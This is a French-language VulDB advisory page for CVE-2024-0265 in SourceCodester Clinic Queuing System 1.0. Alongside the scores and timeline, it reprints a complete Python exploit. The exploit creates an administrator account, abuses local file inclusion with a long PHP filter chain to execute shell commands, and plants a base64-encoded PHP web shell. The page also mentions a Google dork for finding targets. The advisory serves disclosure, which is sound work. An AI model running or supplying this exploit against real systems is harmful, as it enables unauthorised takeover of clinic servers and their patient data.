SourceCodester Clinic Queuing System 1.0 GET Parameter /index.php page élévation de privilèges

CVSS Score méta-temporairePrix actuel de l'exploit (≈)Score d'intérêt CTI
7.4$0-$5k0.00

Résuméinformation

Une vulnérabilité classée critique a été trouvée dans SourceCodester Clinic Queuing System 1.0. La partie affectée est une fonction inconnue du fichier /index.php du composant GET Parameter Handler. La manipulation de l’argument page conduit à élévation de privilèges. Cette vulnérabilité est identifiée comme CVE-2024-0265. Il est possible de lancer l'attaque à distance. De plus, un exploit est disponible.

Détailsinformation

Une vulnérabilité a été trouvé dans SourceCodester Clinic Queuing System 1.0 et classée critique. Affecté par cette vulnérabilité est une fonction inconnue du fichier /index.php du composant GET Parameter Handler. A cause de la manipulation du paramètre page avec une valeur d'entrée inconnue mène à une vulnérabilité de classe élévation de privilèges.

La vulnerabilité a été publié en 06/01/2024 (non défini). La notice d'information est disponible en téléchargement sur github.com Cette vulnérabilité a été nommée CVE-2024-0265. Des details techniques et aussi un public exploit sont connus.

Un exploit a été developpé par Juan Marco Sanchez (jmrcsnchz) en Python. L'exploit est disponible au téléchargment sur github.com. Il est déclaré comme preuve de concept. En cherchant des informations à propos de inurl:index.php, il est possible de trouver des cibles vulnérables avec Google Hacking. Le code utilisé par l'exploit est:

# Author: Juan Marco Sanchez | https://linkedin.com/in/juanmarcosanchez
# Sourcecodester Clinic Queuing System RCE 
# Chain of CVE-2024-0264 and CVE-2024-0265

import requests
import random
import argparse
from bs4 import BeautifulSoup

parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()

base_url = args.target
phase1_url = base_url + '/LoginRegistration.php?a=save_user'
phase2_url = base_url + '/LoginRegistration.php?a=login'

filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"

def phase1():
	rand_user = 'pwn_'+str(random.randint(100, 313))
	rand_pass = 'pwn_'+str(random.randint(100, 313))
	pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1}
	print("[*] adding administrator " + rand_user + ":" + rand_pass)
	phase1 = requests.post(phase1_url, pwn_user_data)
	if "User Account has been added successfully." in phase1.text:
		print("[+] Phase 1 Success - Admin user added!\n")
		print("[*] Initiating Phase 2")
		phase2(rand_user, rand_pass)
	else:
		print("[X] user creation failed :(")
		die()

def phase2(user, password):
	s = requests.Session();
	login_data = {'formToken':'','username':user, 'password':password}
	print("[*] Loggin in....")
	phase2 = s.post(phase2_url, login_data)

	if "Login successfully." in phase2.text:
		print("[+] Login success")
	else:
		print("[X] Login failed.")
		die()

	print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n")
	rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
	#print("[*] Payload: " + rce_url)
	rce = s.get(rce_url)
	
	if "jmrcsnchz" in rce.text:
		print("[+] RCE success!")
		soup = BeautifulSoup(rce.text, 'html.parser')
		print("[+] Output of id: " + soup.pre.get_text())
		print("[*] Uploading php backdoor....")
		s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
		print("[+] Access at " + base_url + "/rce.php?0=whoami")
	else:
		print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.")
		die()

try:
	print("[*] Initiating Phase 1")
	phase1()
except:
	print("Exploit failed.")

Il n'y a aucune information à propos de possibles contremesures connues. Il est suggéré de remplacer l'object infecté par un produit alternatif.

La vulnérabilité est aussi documentée dans la base de données EUVD (EUVD-2024-16061). If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Produitinformation

Fournisseur

Nom

Version

Licence

Site web

CPE 2.3information

CPE 2.2information

CVSSv4information

VulDB Vecteur: 🔍
VulDB Fiabilité: 🔍

CVSSv3information

VulDB Score méta-base: 7.6
VulDB Score méta-temporaire: 7.4

VulDB Note de base: 6.3
VulDB Note temporaire: 5.7
VulDB Vecteur: 🔍
VulDB Fiabilité: 🔍

Chercheur Note de base: 8.8
Chercheur Vecteur: 🔍

NVD Note de base: 8.8
NVD Vecteur: 🔍

CNA Note de base: 6.3
CNA Vecteur (VulDB): 🔍

CVSSv2information

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VecteurComplexitéAuthentificationConfidentialitéIntégritéDisponibilité
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller

VulDB Note de base: 🔍
VulDB Note temporaire: 🔍
VulDB Fiabilité: 🔍

NVD Note de base: 🔍

Exploitationinformation

Classe: élévation de privilèges
CWE: CWE-73
CAPEC: 🔍
ATT&CK: 🔍

Physique: Non
Local: Non
Remote: Oui

Disponibilité: 🔍
Accès: Public
Statut: Preuve de concept
Auteur: Juan Marco Sanchez (jmrcsnchz)
Langage de programmation: 🔍
Télécharger: 🔍
Google Hack: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Prédiction de prix: 🔍
Estimation actuelle des prix: 🔍

0-DayDéverrouillerDéverrouillerDéverrouillerDéverrouiller
Aujourd'huiDéverrouillerDéverrouillerDéverrouillerDéverrouiller

Renseignements sur les menacesinformation

Intérêt: 🔍
Acteurs actifs: 🔍
Groupes APT actifs: 🔍

Contre-mesuresinformation

Recommandé: aucune mesure d'atténuation connue
Statut: 🔍

Heure 0 jour: 🔍

Chronologieinformation

06/01/2024 🔍
06/01/2024 +0 jours 🔍
06/01/2024 +0 jours 🔍
09/06/2025 +520 jours 🔍

Sourcesinformation

Fournisseur: sourcecodester.com

Bulletin: github.com
Statut: Non défini

CVE: CVE-2024-0265 (🔍)
GCVE (CVE): GCVE-0-2024-0265
GCVE (VulDB): GCVE-100-249821
EUVD: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013

Entréeinformation

Créé: 06/01/2024 09:57
Mise à jour: 09/06/2025 21:22
Changements: 06/01/2024 09:57 (42), 06/01/2024 16:23 (3), 06/01/2024 16:24 (13), 06/01/2024 16:27 (3), 24/01/2024 18:03 (2), 24/01/2024 18:11 (27), 09/06/2025 21:22 (16)
Complet: 🔍
Auteur: Echidonut
Committer: Echidonut
Cache ID: 216::103

Soumettreinformation

Accepté

  • Soumettre #261736: Sourcecodester Clinic Queuing System 1.0 Local File Inclusion (par Echidonut)

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Discussion

Aucun commentaire pour l'instant. Langues: fr + it + en.

Veuillez vous connecter pour commenter.

Might our Artificial Intelligence support you?

Check our Alexa App!